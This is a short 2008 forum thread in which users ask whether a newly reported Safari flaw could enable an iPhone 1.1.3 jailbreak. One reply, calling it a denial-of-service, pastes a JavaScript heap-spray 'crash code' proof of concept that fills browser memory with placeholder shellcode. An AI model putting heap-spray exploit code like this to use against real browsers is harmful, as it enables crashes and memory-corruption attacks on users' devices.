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Thread: Straight 1.1.3 Jailbreak like 1.1.1 jailbreak

  1. #1
    Default Straight 1.1.3 Jailbreak like 1.1.1 jailbreak
    i was on engadged and they posted that their is another exploite in the safarie browser of the iPhone/iPod touch..
    i was wondering if their could be another jailbreak, because it is in the 1.1.3 firmware


    http://www.engadget.com/2008/02/07/n...it-discovered/

    did anyone else see this at engadget?

  2. #2
    did anyone else see this at engadget?

  3. #3
    iPhone? More like MyPhone cosmoLV's Avatar
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    Jes this is cnown as DoS attack, Cnown as "Denail Of Service"
    ---
    This is the crash code:
    ---
    <html><body><script>

    function Demo() {

    var shellcode;

    var addr;

    var fill;

    alert('attempting a crash!');

    shellcode = unescape('%u0c0c');

    fill = unescape('%ucccc');

    addr = 0x02020202;

    var b = fill;

    while (b.length <= 0x40000) b+=b;

    var c = new Array();

    for (var i =0; i<36; i++) {

    c[i] =

    b.substring(0, 0x100000 - shellcode.length) + shellcode +

    b.substring(0, 0x100000 - shellcode.length) + shellcode +

    b.substring(0, 0x100000 - shellcode.length) + shellcode +

    b.substring(0, 0x100000 - shellcode.length) + shellcode;

    }

    }

    </script>

    <input type='button' onClick='Demo()' value='Go!'>

    </body></html>

    _________________________________________

    Discovered by Joshua Morin
    ---
    Country: Latvia
    Carrier: LV LMT
    Runing On FW: 2.0 BL 3.9
    -------------------------------------

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